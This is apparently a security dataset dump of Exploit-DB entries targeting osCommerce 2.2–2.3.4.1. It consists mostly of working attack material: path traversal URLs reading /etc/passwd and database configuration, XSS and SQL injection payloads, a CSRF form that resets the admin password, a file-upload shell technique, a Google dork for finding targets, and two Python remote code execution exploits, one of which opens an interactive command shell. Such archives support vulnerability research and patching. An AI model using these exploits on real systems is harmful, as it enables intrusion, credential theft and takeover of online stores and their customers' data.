deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1674
Description: osCommerce 2.2 - 'extras' Source Code Disclosure
Type: webapps
Platform: php
Date: 2006-04-14
Author: rgod

Exploit:
---- osCommerce <= 2.2 "extras/" information/source code disclosure ------------

software site: http://www.oscommerce.com/


if extras/ folder is placed inside the www path, you can see all files on target
system, including php source code with database details, poc:

http://[target]/[path]/extras/update.php?read_me=0&readme_file=../catalog/includes/configure.php
http://[target]/[path]/extras/update.php?read_me=0&readme_file=/etc/passwd

this is the vulnerable code in update.php:

...
	include '../mysql.php';
	// if a readme.txt file exists, display it to the user
	if(!$read_me) {
		if(file_exists('readme.txt')) {
			$readme_file = 'readme.txt';
		}
		elseif(file_exists('README')) {
			$readme_file = 'README';
		}
		elseif(file_exists('readme')) {
			$readme_file = 'readme';
		}
		if($readme_file) {
			$readme = file($readme_file);
			print "<CENTER><TABLE BORDER=\"1\" WIDTH=\"75%\" CELLPADDING=\"2\" CELLSPACING=\"0\"><TR BGCOLOR=\"#e7e7cc\"><TD>\n";
			print nl2br(htmlentities(implode($readme, ' ')));
			print "<HR NOSHADE SIZE=\"1\"><CENTER><A HREF=\"update.php?read_me=1\"><B>Continue</B></A></CENTER>\n";
			print "</TD></TR></TABLE>\n";
			exit;
		}
	}
...

google search:

inurl:"extras/update.php" intext:mysql.php -display

--------------------------------------------------------------------------------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici.org
original advisory: http://retrogod.altervista.org/oscommerce_22_adv.html
--------------------------------------------------------------------------------

# milw0rm.com [2006-04-14]
Exploit-DB #23463
Description: osCommerce 2.2 - 'manufacturers_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-12-22
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9277/info

A vulnerability has been reported to exist in the software that may allow a remote user to launch cross-site scripting attacks. The problem is reported to exist due to improper sanitizing of user-supplied data in certain URI parameters passed to the default.php script. This vulnerability makes it possible for an attacker to construct a malicious link containing HTML or script code that may be rendered in a user's browser upon visiting that link. This attack would occur in the security context of the site. 

http://www.example.com/default.php?manufacturers_id="><iframe src=http://www.gulftech.org>
Exploit-DB #23445
Description: osCommerce 2.2 - 'osCsid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-12-17
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9238/info

It has been reported that osCommerce may be prone to a cross-site scripting vulnerability that may allow an attacker to construct a malicious link containing HTML or script code that may be rendered in a user's browser.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication credentials. Other attacks are also possible.

Although unconfirmed, osCommerce versions 2.2 Milestone 1 and 2.2 Milestone 2 may be vulnerable to this issue. 

https://www.example.com/?osCsid="><iframe src=http://www.example.com></iframe>
Exploit-DB #23462
Description: osCommerce 2.2 - 'products_id' SQL Injection
Type: webapps
Platform: php
Date: 2003-12-22
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9275/info

It has been reported that one of the scripts included with osCommerce fails to validate user-supplied input, rendering it vulnerable to a SQL injection attack.

It has been reported that an attacker may supply malicious SQL queries as a URI parameter to the affected script. The attacker may leverage this condition to manipulate the logic and structure of database queries, possibly resulting in osCommerce compromise, information disclosure or other consequences. 

http://www.example.com/default.php?cPath=[MID]&sort=5a&page=1&action=buy_now&products_id=[PID][JNK]

[MID] = A Valid Manufacturer ID Number
[PID] = A Valid Product ID Number
[JNK] = SQL query or junk. %22 %5C %27 or %00 Will cause a DoS
Exploit-DB #25994
Description: osCommerce 2.2 - 'update.php' Information Disclosure
Type: webapps
Platform: php
Date: 2005-07-18
Author: Andrew Hunter

Exploit:
source: https://www.securityfocus.com/bid/14294/info

osCommerce is prone to an information-disclosure vulnerability. An attacker could exploit this vulnerability to display the contents of any file normally readable by the webserver process.

Successful exploitation would result in information disclosure. Information obtained could aid the attacker in further attacks against the underlying system; other attacks are also possible.

This issue reportedly affects osCommerce version 2.2 milestone 2; other versions may also be vulnerable. 

http://www.example.com/catalog/extras/update.php?readme_file=/etc/passwd
http://www.example.com/catalog/extras/update.php?readme_file=../admin/.htaccess
Exploit-DB #22498
Description: osCommerce 2.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2003-04-15
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/7357/info

osCommerce has been reported prone to authentication bypass vulnerability.

It has been reported that osCommerce uses HTTP header information as a part of its authentication mechanism. Reportedly an attacker may spoof parts of the HTTP header and, in doing so, subvert osCommerce authentication systems set in place.

This attack may be used in conjunction with other attacks to disclose, what may be sensitive information, to the attacker.

It should be noted that although osCommerce version 2.2cvs was reported vulnerable, previous versions may also be affected. 

http://www.example.com/oscommerce_installation/default.php/cPath/../../../../../
Exploit-DB #15472
Description: osCommerce 2.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-11-09
Author: daandeveloper33

Exploit:
# Exploit Title: osCommerce v2.2 Change Admin Pass
# Date: [date]
# Author: daandeveloper33
# Software Link: http://oscommerce.com/
# Version: v2.2
# Tested on: Mac OS X 10.6.4, osCommerce v2.2 RC2A (Dutch)

This is the code that you can execute to change the admin pass:
-------crack.php-------
<?/*Author: daandeveloper33
E-Mail: daandeveloper33@gmail.com
Software: osCommerce v2.2
Date: 09 Nov 2010
Description: Change the admin password of the admin panel of oscommerce.And then you have got all admin privileges
*/
?>
<HTML><BODY>
<form name="administrator" action="http:/server/linktoadminpanel/administrators.php/login.php?aID=1&action=save" method="post"> Change Admin Pass
    Username<br><input type="text" name="username" value="admin">
    <br>Password<br><input type="password" name="password" maxlength="40"></td> 
    <br><input type="submit" alt="Update" title=" Update " value="Change It!">     <a href="http://server/linktoadminpanel/administrators.php/login.php?aID=1">    </a>
</form> 
</BODY></HTML>
----------------------------
This is the code to protect against this attack:
First Write protection.php:
-------protection.php-----
<?$self = $_SERVER['PHP_SELF'];
$pos = strpos($self, 'login.php');if($pos == true){echo "<script language='javascript'>window.location = 'http://server/index.php';</script>";}?>----------------------------Save protection.php in the admin map of oscommercethen paste following code in all pages in the /admin map(expect login.php): include('protection.php')




Greets,
daandeveloper33
Exploit-DB #23434
Description: osCommerce 2.2 - SQL Injection
Type: webapps
Platform: php
Date: 2003-12-13
Author: GulfTech Security

Exploit:
#!/usr/bin/perl
#source: https://www.securityfocus.com/bid/9211/info
#
#It has been reported that one of the scripts included with osCommerce fails to validate user-supplied input, rendering it vulnerable to a SQL injection attack. The script in question is used to verify account details during the new user registration process and has the filename "create_account_process.php". It may be possible for attackers to manipulate the query to corrupt data in the database or, possibly, gain access on the underlying host (through, for example, stored procedures or vulnerabilities in the database server). 
#
#

############################################################################
# osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org ]
############################################################################

use LWP::UserAgent;

############################################################################
# Use this script to test if your shop is vulnerable. Results are obvious :)
############################################################################

$ua = new LWP::UserAgent;
$ua->agent("Mozilla/4.0" . $ua->agent);

if (!$ARGV[0]) {
	&usage;
}
 
$host=$ARGV[0];

print "Trying $host ....\n";

my $req = new HTTP::Request POST => "http://$host/create_account_process.php";
   $req->content_type('application/x-www-form-urlencoded');
   $req->content("action=process&country=%27");
my $res = $ua->request($req); 
$pattern = "You have an error in your SQL syntax";  
$_ = $res->content;

print "\n" x 3;

if (/$pattern/) {
print "Host Is Vulnerable!\n";
print "Download The Latest osCommerce ...\n";
print "http://www.oscommerce.com/downloads\n";
} else {
print "Host NOT Vulnerable\n";
}

print "\n" x 3;

exit;

sub usage {

print "osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org ]\n";
print "--------------------------------------------------------------------------\n";
print "perl ossqlin.pl \"path to shop\" ex: ossqlin.pl www.mywebstore.com/catalog\n";

exit;

}
Exploit-DB #32887
Description: osCommerce 2.2/3.0 - 'oscid' Session Fixation
Type: webapps
Platform: php
Date: 2009-04-02
Author: laurent.desaulniers

Exploit:
source: https://www.securityfocus.com/bid/34348/info

osCommerce is prone to a session-fixation vulnerability.

Attackers can exploit this issue to hijack a user's session and gain unauthorized access to the affected application.

The following are vulnerable:

osCommerce 2.2
osCommerce 3.0 Beta

Other versions may also be affected.

http://www.example.com/myapp/index.php?oscid=arbitrarysession
Exploit-DB #10707
Description: osCommerce 2.2rc2a - Bypass/Create and Download Backup
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================             $
| # Title    : osCommerce online SHop Backup Vulnerability                                           $
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : Powered by osCommerce online SHop http://www.oscommerce.com/            |
| # Tested on: windows SP2 Fran&#30902;ais V.(Pnx2 2.0) + Lunix Fran&#30902;ais v.(9.4 Ubuntu)       |
| # Bug      : Backup                                                                  |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
http://127.0.0.1/oscommerce-2.2rc2a/catalog/admin/backup/login.php?action=backup

http://127.0.0.1/oscommerce-2.2rc2a/catalog/admin/backup/login.php?action=backupnow

to download buckup :http://127.0.0.1/oscommerce-2.2rc2a/catalog/admin/backup/login.php?action=download&file=db_comm[PII_REDACTED]2138.sql

db_comm[PII_REDACTED]2138.sql chang it to the name of the backup and you cant download it with IE i download it with opera 10.10 + Mozilla Firefox

http://127.0.0.1/oscommerce-2.2rc2a/catalog/admin/file_manager/login.php?action=upload (2 upload ev!l "not finishid")

go to original path 

http://127.0.0.1/oscommerce-2.2rc2a/catalog/
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #17285
Description: osCommerce 2.3.1 - 'banner_manager.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-05-14
Author: Number 7

Exploit:
# Exploit Title: [OSC 2.3.1: Remote File Upload Vulnerability : Banner Manager]
# Google Dork: [powered by oscommerce]  (we will automatically add these to the GHDB)
# Date: [13-05-2011]
# Author: [Number 7]
# Software Link: [http://www.oscommerce.com/ext/oscommerce-2.3.1.zip]
# Version: [2.3.1]
# Tested on: [Linux-apache-win03-mac Os .... ]
# CVE : [if exists]
_______________________________________________________________________________________

<form name="new_banner" action="http://site/path/admin/banner_manager.php/login.php?action=insert" method="post" enctype="multipart/form-data"><br>
<input type="file" name="banners_image"><br>
<input name="submit" value=" Save " type="submit"></form>

you will find your shell in

http://site/path/images/yourshell.php

_______________________________________________________________________________________
Greetz: Ares-xGeek-allen-s man-SWAT-SPAM-TN // Tn-Hackers
Site:   Top-sec.com/vb // arhack.net/vb
Exploit-DB #46328
Description: osCommerce 2.3.4.1 - 'currency' SQL Injection
Type: webapps
Platform: php
Date: 2019-02-06
Author: Mehmet EMIROGLU

Exploit:
####################################################################

# Exploit Title: osCommerce 2.3.4.1 - 'currency' SQL Vulnerabilities
# Dork: N/A
# Date: 05-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://www.oscommerce.com
# Software Link: https://www.oscommerce.com/Products
# Version: 2.3.4.1
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
# Software Description: osCommerce Online Merchant is a complete online
store solution
  that contains both a shop frontend and an administration backend
  which can be easily configured and customized with over 8,855 free
add-ons.

####################################################################

# Vulnerabilities / Impact
# This web application called as osCommerce 2.3.4.1 version.
# Switch to the shopping_cart tab. Replace the ID value in the url, with a
high number value.
  for example shopping_cart.php?currency=1 change to 9999999
  then add the payload at Attack_pattern to the end of the url.

####################################################################

# POC - SQL (Boolean Based)
# Parameters : currency
# Attack Pattern : %27 oR 3620772=3620772 aNd %276199%27=%276199
# GET Request :
http://localhost/oscommerce/catalog/shopping_cart.php?currency=99999999%27
oR 3620772=3620772 aNd %276199%27=%276199

####################################################################
Exploit-DB #46329
Description: osCommerce 2.3.4.1 - 'products_id' SQL Injection
Type: webapps
Platform: php
Date: 2019-02-06
Author: Mehmet EMIROGLU

Exploit:
####################################################################

# Exploit Title: osCommerce 2.3.4.1 - 'products_id' SQL Vulnerabilities
# Dork: N/A
# Date: 05-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://www.oscommerce.com
# Software Link: https://www.oscommerce.com/Products
# Version: 2.3.4.1
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
# Software Description: osCommerce Online Merchant is a complete online
store solution
  that contains both a shop frontend and an administration backend
  which can be easily configured and customized with over 8,855 free
add-ons.

####################################################################

# Vulnerabilities / Impact
# This web application called as osCommerce 2.3.4.1 version.
# Switch to the product_info tab. Replace the ID value in the url, with a
high number value.
  for example product_info.php?products_id=1 change to 9999999
  then add the payload at Attack_pattern to the end of the url.

####################################################################

# POC - SQL (Boolean Based)
# Parameters : products_id
# Attack Pattern : oR 1811160=1811160 aNd 7193=7193
# GET Request :
http://localhost/oscommerce/catalog/product_info.php?products_id=99999999
oR 1811160=1811160 aNd 7193=7193

####################################################################
Exploit-DB #46330
Description: osCommerce 2.3.4.1 - 'reviews_id' SQL Injection
Type: webapps
Platform: php
Date: 2019-02-06
Author: Mehmet EMIROGLU

Exploit:
####################################################################

# Exploit Title: osCommerce 2.3.4.1 - 'reviews_id' SQL Vulnerabilities
# Dork: N/A
# Date: 05-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://www.oscommerce.com
# Software Link: https://www.oscommerce.com/Products
# Version: 2.3.4.1
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
# Software Description: osCommerce Online Merchant is a complete online
store solution
  that contains both a shop frontend and an administration backend
  which can be easily configured and customized with over 8,855 free
add-ons.

####################################################################

# Vulnerabilities / Impact
# This web application called as osCommerce 2.3.4.1 version.
# Switch to the product reviews tab. Replace the ID value in the url, with
a high number value.
  for example reviews_id=2 change to 9999999
  then add the payload at Attack_pattern to the end of the url.

####################################################################

# POC - SQL (Boolean Based)
# Parameters : reviews_id
# Attack Pattern : /**/oR/**/7096077=7096077/**/aNd/**/7193=7193
# GET Request :
http://localhost/oscommerce/catalog/product_reviews_write.php?products_id=19&reviews_id=99999999/**/oR/**/7096077=7096077/**/aNd/**/7193=7193

####################################################################
Exploit-DB #44374
Description: osCommerce 2.3.4.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-03-30
Author: Simon Scannell

Exploit:
# Exploit Title: osCommerce 2.3.4.1 Remote Code Execution
# Date: 29.0.3.2018
# Exploit Author: Simon Scannell - https://scannell-infosec.net <contact@scannell-infosec.net>
# Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
# Tested on: Linux, Windows

# If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible
# for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page
# is already installed and does not attempt to do any authentication. It is possible for an attacker to directly
# execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject
# PHP code into the config file and then simply executing the code by opening it.


import requests

# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base_url = "http://localhost//oscommerce-2.3.4.1/catalog/"
target_url = "http://localhost/oscommerce-2.3.4.1/catalog/install/install.php?step=4"

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*

payload = '\');'
payload += 'system("ls");'    # this is where you enter you PHP payload
payload += '/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)

if r.status_code == 200:
    print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
    print("[-] Exploit did not execute as planned")
Exploit-DB #50128
Description: osCommerce 2.3.4.1 - Remote Code Execution (2)
Type: webapps
Platform: php
Date: 2021-07-15
Author: Bryan Leong

Exploit:
# Exploit Title: osCommerce 2.3.4.1 - Remote Code Execution (2)
# Vulnerability: Remote Command Execution when /install directory wasn't removed by the admin
# Exploit: Exploiting the install.php finish process by injecting php payload into the db_database parameter & read the system command output from configure.php
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: https://www.oscommerce.com/
# Version: osCommerce 2.3.4
# Tested on: Windows

import requests
import sys

if(len(sys.argv) != 2):
	print("please specify the osCommerce url")
	print("format: python3 osCommerce2_3_4RCE.py <url>")
	print("eg: python3 osCommerce2_3_4RCE.py http://localhost/oscommerce-2.3.4/catalog")
	sys.exit(0)

baseUrl = sys.argv[1]
testVulnUrl = baseUrl + '/install/install.php'

def rce(command):
	#targeting the finish step which is step 4
	targetUrl = baseUrl + '/install/install.php?step=4'

	payload = "');"
	payload += "passthru('" + command + "');"    # injecting system command here
	payload += "/*"

	#injecting parameter
	data = {
		'DIR_FS_DOCUMENT_ROOT': './',
		'DB_DATABASE' : payload
	}	

	response = requests.post(targetUrl, data=data)

	if(response.status_code == 200):
		#print('[*] Successfully injected payload to config file')

		readCMDUrl = baseUrl + '/install/includes/configure.php'
		cmd = requests.get(readCMDUrl)

		commandRsl = cmd.text.split('\n')

		if(cmd.status_code == 200):
			#print('[*] System Command Execution Completed')
			#removing the error message above
			for i in range(2, len(commandRsl)):
				print(commandRsl[i])
		else:
			return '[!] Configure.php not found'

				
	else:
		return '[!] Fail to inject payload'



#testing vulnerability accessing the directory
test = requests.get(testVulnUrl)

#checking the install directory still exist or able to access or not
if(test.status_code == 200):
	print('[*] Install directory still available, the host likely vulnerable to the exploit.')
	
	#testing system command injection
	print('[*] Testing injecting system command to test vulnerability')
	cmd = 'whoami'

	print('User: ', end='')
	err = rce(cmd)

	if(err != None):
		print(err)
		sys.exit(0)

	while(True):
		cmd = input('RCE_SHELL$ ')
		err = rce(cmd)

		if(err != None):
			print(err)
			sys.exit(0)

else:
	print('[!] Install directory not found, the host is not vulnerable')
	sys.exit(0)